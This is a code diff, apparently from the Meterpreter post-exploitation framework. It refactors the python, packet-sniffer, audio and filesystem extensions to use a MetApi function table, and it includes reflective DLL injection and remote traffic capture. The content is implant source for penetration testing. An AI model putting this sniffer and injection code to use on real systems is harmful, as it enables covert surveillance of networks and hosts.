@ -501,7 +502,7 @@ DWORD request_python_execute(Remote* remote, Packet* packet)
|
||||
dump_to_packet(stdoutBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDOUT);
|
||||
clear_std_handler(stdoutBuffer);
|
||||
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
|
@ -2,12 +2,12 @@
|
||||
* @file python_main.c
|
||||
* @brief Entry point and intialisation definitions for the python extension.
|
||||
*/
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
@ -20,9 +20,6 @@ extern BOOL WINAPI CtypesDllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpv
|
||||
|
||||
Remote* gRemote = NULL;
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
/*! @brief List of commands that the extended API extension providers. */
|
||||
Command customCommands[] =
|
||||
{
|
||||
@ -67,12 +64,15 @@ VOID __declspec(dllexport) CommandAdded(const char* commandName)
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
met_api = api;
|
||||
|
||||
met_api->command.register_all(customCommands);
|
||||
gRemote = remote;
|
||||
|
||||
dprintf("[PYTHON] Initialising");
|
||||
@ -80,7 +80,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
|
||||
python_prepare_session();
|
||||
dprintf("[PYTHON] Registering commands");
|
||||
command_register_all(customCommands);
|
||||
met_api->command.register_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -92,7 +92,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_deregister_all(customCommands);
|
||||
met_api->command.deregister_all(customCommands);
|
||||
|
||||
python_destroy_session();
|
||||
|
||||
|
@ -2,7 +2,8 @@
|
||||
* @file python_meterpreter_binding.c
|
||||
* @brief Definitions for functions that support meterpreter bindings.
|
||||
*/
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
#include "python_main.h"
|
||||
#include "Python.h"
|
||||
|
||||
@ -31,7 +32,7 @@ static PyObject* binding_invoke(PyObject* self, PyObject* args)
|
||||
// and so that the packet doesn't get sent to Meterpreter
|
||||
packet.local = isLocal;
|
||||
|
||||
command_handle(gRemote, &packet);
|
||||
met_api->command.handle(gRemote, &packet);
|
||||
|
||||
// really not sure how to deal with the non-local responses at this point.
|
||||
if (packet.partner == NULL)
|
||||
@ -41,7 +42,7 @@ static PyObject* binding_invoke(PyObject* self, PyObject* args)
|
||||
}
|
||||
|
||||
PyObject* result = PyString_FromStringAndSize(packet.partner->payload, packet.partner->payloadLength);
|
||||
packet_destroy(packet.partner);
|
||||
met_api->packet.destroy(packet.partner);
|
||||
return result;
|
||||
}
|
||||
|
||||
@ -62,7 +63,7 @@ VOID binding_startup()
|
||||
{
|
||||
if (gBoundCommandList == NULL)
|
||||
{
|
||||
gBoundCommandList = list_create();
|
||||
gBoundCommandList = met_api->list.create();
|
||||
}
|
||||
}
|
||||
|
||||
@ -73,7 +74,7 @@ VOID binding_add_command(const char* commandName)
|
||||
// only add non-core commands
|
||||
if (_strnicmp("core_", commandName, 5) != 0)
|
||||
{
|
||||
list_add(gBoundCommandList, (char*)commandName);
|
||||
met_api->list.add(gBoundCommandList, (char*)commandName);
|
||||
binding_insert_command(commandName);
|
||||
}
|
||||
}
|
||||
|
@ -5,7 +5,6 @@
|
||||
|
||||
#include "sniffer.h"
|
||||
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
#include "../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h"
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"
|
||||
|
||||
|
@ -6,6 +6,10 @@
|
||||
#define _CRT_SECURE_NO_DEPRECATE 1
|
||||
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet);
|
||||
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet);
|
||||
@ -33,13 +37,7 @@ Command customCommands[] =
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
|
||||
#define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){packet_transmit_response(hErr, remote, response);return(hErr);}
|
||||
#define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){ met_api->packet.transmit_response(hErr, remote, response);return(hErr); }
|
||||
|
||||
HANDLE hMgr;
|
||||
DWORD hErr;
|
||||
@ -114,7 +112,7 @@ DWORD pktsdk_initialize(void);
|
||||
|
||||
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
Tlv entries[8];
|
||||
|
||||
/*
|
||||
@ -185,13 +183,13 @@ DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
|
||||
entries[7].header.length = sizeof(BOOL);
|
||||
entries[7].buffer = (PUCHAR)&adhcp;
|
||||
|
||||
packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);
|
||||
met_api->packet.add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);
|
||||
|
||||
idx++;
|
||||
} while ((hCfg = MgrGetNextAdapterCfg(hMgr, hCfg)) != NULL);
|
||||
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
@ -272,7 +270,7 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke
|
||||
// -- PKS, per job locking would be finer grained.
|
||||
// however, it probably doesn't matter.
|
||||
|
||||
lock_acquire(snifferm);
|
||||
met_api->lock.acquire(snifferm);
|
||||
|
||||
if (j->idx_pkts >= j->max_pkts) j->idx_pkts = 0;
|
||||
j->cur_pkts++;
|
||||
@ -289,12 +287,12 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke
|
||||
j->pkts[j->idx_pkts] = pkt;
|
||||
j->idx_pkts++;
|
||||
|
||||
lock_release(snifferm);
|
||||
met_api->lock.release(snifferm);
|
||||
}
|
||||
|
||||
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
unsigned int ifid;
|
||||
unsigned int maxp;
|
||||
CaptureJob *j;
|
||||
@ -304,8 +302,8 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet)
|
||||
check_pssdk();
|
||||
dprintf("sniffer>> start_capture()");
|
||||
|
||||
ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
|
||||
maxp = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_PACKET_COUNT);
|
||||
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
|
||||
maxp = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_PACKET_COUNT);
|
||||
maxp = min(maxp, SNIFFER_MAX_QUEUE);
|
||||
maxp = max(maxp, 1);
|
||||
|
||||
@ -370,13 +368,13 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet)
|
||||
AdpSetMacFilter(j->adp, mfAll);
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
unsigned int ifid;
|
||||
CaptureJob *j;
|
||||
DWORD result;
|
||||
@ -384,7 +382,7 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet)
|
||||
check_pssdk();
|
||||
dprintf("sniffer>> stop_capture()");
|
||||
|
||||
ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
|
||||
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
|
||||
dprintf("sniffer>> stop_capture(0x%.8x)", ifid);
|
||||
|
||||
result = ERROR_SUCCESS;
|
||||
@ -407,28 +405,28 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
lock_acquire(snifferm);
|
||||
met_api->lock.acquire(snifferm);
|
||||
|
||||
j->active = 0;
|
||||
AdpSetMacFilter(j->adp, 0);
|
||||
AdpCloseAdapter(j->adp);
|
||||
AdpDestroy(j->adp);
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
|
||||
|
||||
lock_release(snifferm);
|
||||
met_api->lock.release(snifferm);
|
||||
|
||||
dprintf("sniffer>> stop_capture() interface %d processed %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes);
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_sniffer_capture_release(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
unsigned int ifid, i;
|
||||
CaptureJob *j;
|
||||
DWORD result;
|
||||
@ -437,7 +435,7 @@ DWORD request_sniffer_capture_release(Remote *remote, Packet *packet)
|
||||
check_pssdk();
|
||||
dprintf("sniffer>> release_capture()");
|
||||
|
||||
ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
|
||||
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
|
||||
dprintf("sniffer>> release_capture(0x%.8x)", ifid);
|
||||
|
||||
result = ERROR_SUCCESS;
|
||||
@ -461,10 +459,10 @@ DWORD request_sniffer_capture_release(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
lock_acquire(snifferm);
|
||||
met_api->lock.acquire(snifferm);
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
|
||||
dprintf("sniffer>> release_capture() interface %d released %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes);
|
||||
|
||||
for (i = 0; i < j->max_pkts; i++)
|
||||
@ -478,18 +476,18 @@ DWORD request_sniffer_capture_release(Remote *remote, Packet *packet)
|
||||
free(j->pkts);
|
||||
memset(j, 0, sizeof(CaptureJob));
|
||||
|
||||
lock_release(snifferm);
|
||||
met_api->lock.release(snifferm);
|
||||
|
||||
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
unsigned int ifid;
|
||||
CaptureJob *j;
|
||||
DWORD result;
|
||||
@ -497,7 +495,7 @@ DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet)
|
||||
check_pssdk();
|
||||
dprintf("sniffer>> capture_stats()");
|
||||
|
||||
ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
|
||||
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
|
||||
dprintf("sniffer>> capture_stats(0x%.8x)", ifid);
|
||||
|
||||
result = ERROR_SUCCESS;
|
||||
@ -520,19 +518,19 @@ DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
lock_acquire(snifferm);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
|
||||
lock_release(snifferm);
|
||||
met_api->lock.acquire(snifferm);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
|
||||
met_api->lock.release(snifferm);
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
unsigned int ifid, i;
|
||||
unsigned int bcnt;
|
||||
CaptureJob *j;
|
||||
@ -541,8 +539,8 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
|
||||
check_pssdk();
|
||||
dprintf("sniffer>> capture_dump_read()");
|
||||
|
||||
ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
|
||||
bcnt = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_BYTE_COUNT);
|
||||
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
|
||||
bcnt = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_BYTE_COUNT);
|
||||
bcnt = min(bcnt, 32 * 1024 * 1024);
|
||||
|
||||
dprintf("sniffer>> capture_dump_read(0x%.8x, %d)", ifid, bcnt);
|
||||
@ -554,7 +552,7 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
|
||||
// the interface is invalid
|
||||
if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES)
|
||||
{
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
|
||||
goto fail;
|
||||
}
|
||||
|
||||
@ -562,7 +560,7 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
|
||||
|
||||
if (!j->dbuf)
|
||||
{
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
|
||||
goto fail;
|
||||
}
|
||||
|
||||
@ -571,8 +569,8 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
|
||||
bcnt = j->dlen - j->didx;
|
||||
}
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, bcnt);
|
||||
packet_add_tlv_raw(response, TLV_TYPE_SNIFFER_PACKET, (unsigned char *)j->dbuf + j->didx, bcnt);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, bcnt);
|
||||
met_api->packet.add_tlv_raw(response, TLV_TYPE_SNIFFER_PACKET, (unsigned char *)j->dbuf + j->didx, bcnt);
|
||||
j->didx += bcnt;
|
||||
} while (0);
|
||||
|
||||
@ -587,7 +585,7 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
|
||||
if (j->active == 0)
|
||||
{
|
||||
dprintf("sniffer>> capture_dump_read, release CaptureJob");
|
||||
lock_acquire(snifferm);
|
||||
met_api->lock.acquire(snifferm);
|
||||
for (i = 0; i < j->max_pkts; i++)
|
||||
{
|
||||
if (!j->pkts[i]) break;
|
||||
@ -597,19 +595,19 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
|
||||
|
||||
free(j->pkts);
|
||||
memset(j, 0, sizeof(CaptureJob));
|
||||
lock_release(snifferm);
|
||||
met_api->lock.release(snifferm);
|
||||
}
|
||||
}
|
||||
|
||||
fail:
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
unsigned int ifid;
|
||||
unsigned int rbuf, mbuf;
|
||||
unsigned int *tmp;
|
||||
@ -624,12 +622,12 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet)
|
||||
check_pssdk();
|
||||
dprintf("sniffer>> capture_dump()");
|
||||
|
||||
ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
|
||||
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
|
||||
dprintf("sniffer>> capture_dump(0x%.8x)", ifid);
|
||||
|
||||
result = ERROR_SUCCESS;
|
||||
|
||||
lock_acquire(snifferm);
|
||||
met_api->lock.acquire(snifferm);
|
||||
|
||||
do
|
||||
{
|
||||
@ -719,10 +717,10 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet)
|
||||
|
||||
j->dlen = rcnt;
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt);
|
||||
// add capture datalink, needed when saving capture file, use TLV_TYPE_SNIFFER_INTERFACE_ID not to create a new TLV type
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_INTERFACE_ID, j->capture_linktype);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_INTERFACE_ID, j->capture_linktype);
|
||||
|
||||
dprintf("sniffer>> finished processing packets");
|
||||
|
||||
@ -731,24 +729,23 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet)
|
||||
j->idx_pkts = 0;
|
||||
} while (0);
|
||||
|
||||
lock_release(snifferm);
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->lock.release(snifferm);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
// This handle has to be set before calls to command_register
|
||||
// otherwise we get obscure crashes!
|
||||
hMetSrv = remote->met_srv;
|
||||
met_api = api;
|
||||
|
||||
dprintf("[SERVER] Registering command handlers...");
|
||||
command_register_all( customCommands );
|
||||
met_api->command.register_all(customCommands);
|
||||
|
||||
dprintf("[SERVER] Memory reset of open_captures...");
|
||||
memset(open_captures, 0, sizeof(open_captures));
|
||||
@ -781,7 +778,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
}
|
||||
|
||||
dprintf("[SERVER] Creating a lock...");
|
||||
snifferm = lock_create();
|
||||
snifferm = met_api->lock.create();
|
||||
|
||||
return hErr;
|
||||
}
|
||||
@ -793,9 +790,10 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_register_all( customCommands );
|
||||
met_api->command.deregister_all(customCommands);
|
||||
|
||||
MgrDestroy(hMgr);
|
||||
lock_destroy(snifferm);
|
||||
met_api->lock.destroy(snifferm);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#include <sys/stat.h>
|
||||
|
||||
@ -15,34 +16,41 @@ typedef struct
|
||||
/*
|
||||
* Writes the supplied data to the audio buffer
|
||||
*/
|
||||
static DWORD audio_channel_write(Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize,
|
||||
LPDWORD bytesWritten)
|
||||
static DWORD audio_channel_write(Channel* channel, Packet* request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
|
||||
{
|
||||
AudioContext *ctx = (AudioContext *)context;
|
||||
AudioContext* ctx = (AudioContext*)context;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
size_t written = 0;
|
||||
|
||||
// Write to the buffer
|
||||
if (bufferSize) {
|
||||
if (bufferSize)
|
||||
{
|
||||
char* newbuffer = 0;
|
||||
if (ctx->buffer) {
|
||||
if (ctx->buffer)
|
||||
{
|
||||
newbuffer = realloc(ctx->buffer, ctx->offset + bufferSize);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
newbuffer = malloc(bufferSize);
|
||||
}
|
||||
|
||||
if (newbuffer) {
|
||||
if (newbuffer)
|
||||
{
|
||||
memcpy(newbuffer + ctx->offset, buffer, bufferSize);
|
||||
ctx->buffer = newbuffer;
|
||||
ctx->offset += bufferSize;
|
||||
written = bufferSize;
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
}
|
||||
}
|
||||
|
||||
if (bytesWritten) {
|
||||
if (bytesWritten)
|
||||
{
|
||||
*bytesWritten = (DWORD)written;
|
||||
}
|
||||
|
||||
@ -52,18 +60,19 @@ static DWORD audio_channel_write(Channel *channel, Packet *request,
|
||||
/*
|
||||
* Play the audio on channel close
|
||||
*/
|
||||
static DWORD audio_channel_close(Channel *channel, Packet *request,
|
||||
LPVOID context)
|
||||
static DWORD audio_channel_close(Channel *channel, Packet *request, LPVOID context)
|
||||
{
|
||||
AudioContext *ctx = (AudioContext *)context;
|
||||
|
||||
// Play the audio buffer
|
||||
sndPlaySound(ctx->buffer, SND_MEMORY);
|
||||
|
||||
if (ctx->buffer) {
|
||||
if (ctx->buffer)
|
||||
{
|
||||
free(ctx->buffer);
|
||||
ctx->buffer = 0;
|
||||
}
|
||||
|
||||
free(ctx);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
@ -83,16 +92,17 @@ DWORD request_audio_output_channel_open(Remote *remote, Packet *packet)
|
||||
Channel *newChannel = NULL;
|
||||
|
||||
// Allocate a response
|
||||
response = packet_create_response(packet);
|
||||
response = met_api->packet.create_response(packet);
|
||||
|
||||
// Allocate storage for the audio buffer context
|
||||
if (!(ctx = calloc(1, sizeof(AudioContext)))) {
|
||||
if (!(ctx = calloc(1, sizeof(AudioContext))))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
goto out;
|
||||
}
|
||||
|
||||
// Get the channel flags
|
||||
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
|
||||
flags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
|
||||
|
||||
memset(&chops, 0, sizeof(chops));
|
||||
|
||||
@ -103,22 +113,25 @@ DWORD request_audio_output_channel_open(Remote *remote, Packet *packet)
|
||||
|
||||
// Check the response allocation & allocate a un-connected
|
||||
// channel
|
||||
if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) {
|
||||
if ((!response) || (!(newChannel = met_api->channel.create_pool(0, flags, &chops))))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
goto out;
|
||||
}
|
||||
|
||||
// Add the channel identifier to the response
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel));
|
||||
|
||||
out:
|
||||
// Transmit the packet if it's valid
|
||||
packet_transmit_response(res, remote, response);
|
||||
met_api->packet.transmit_response(res, remote, response);
|
||||
|
||||
// Clean up on failure
|
||||
if (res != ERROR_SUCCESS) {
|
||||
if (newChannel) {
|
||||
channel_destroy(newChannel, NULL);
|
||||
if (res != ERROR_SUCCESS)
|
||||
{
|
||||
if (newChannel)
|
||||
{
|
||||
met_api->channel.destroy(newChannel, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#include "fs_local.h"
|
||||
|
||||
@ -10,13 +11,13 @@ void request_fs_ls_cb(void *arg, char *name, char *short_name, char *path)
|
||||
/*
|
||||
* Add the file name, full path and stat information
|
||||
*/
|
||||
packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, name);
|
||||
packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, path);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_NAME, name);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_PATH, path);
|
||||
if (short_name) {
|
||||
packet_add_tlv_string(response, TLV_TYPE_FILE_SHORT_NAME, short_name);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_SHORT_NAME, short_name);
|
||||
}
|
||||
if (fs_stat(path, &s) >= 0) {
|
||||
packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &s, sizeof(s));
|
||||
met_api->packet.add_tlv_raw(response, TLV_TYPE_STAT_BUF, &s, sizeof(s));
|
||||
}
|
||||
}
|
||||
|
||||
@ -28,8 +29,8 @@ void request_fs_ls_cb(void *arg, char *name, char *short_name, char *path)
|
||||
*/
|
||||
DWORD request_fs_ls(Remote * remote, Packet * packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
LPCSTR directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
LPCSTR directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
|
||||
DWORD result;
|
||||
|
||||
if (!directory) {
|
||||
@ -38,7 +39,7 @@ DWORD request_fs_ls(Remote * remote, Packet * packet)
|
||||
result = fs_ls(directory, request_fs_ls_cb, response);
|
||||
}
|
||||
|
||||
return packet_transmit_response(result, remote, response);
|
||||
return met_api->packet.transmit_response(result, remote, response);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -49,17 +50,17 @@ DWORD request_fs_ls(Remote * remote, Packet * packet)
|
||||
*/
|
||||
DWORD request_fs_getwd(Remote * remote, Packet * packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
char *directory = NULL;
|
||||
DWORD result;
|
||||
|
||||
result = fs_getwd(&directory);
|
||||
if (directory != NULL) {
|
||||
packet_add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory);
|
||||
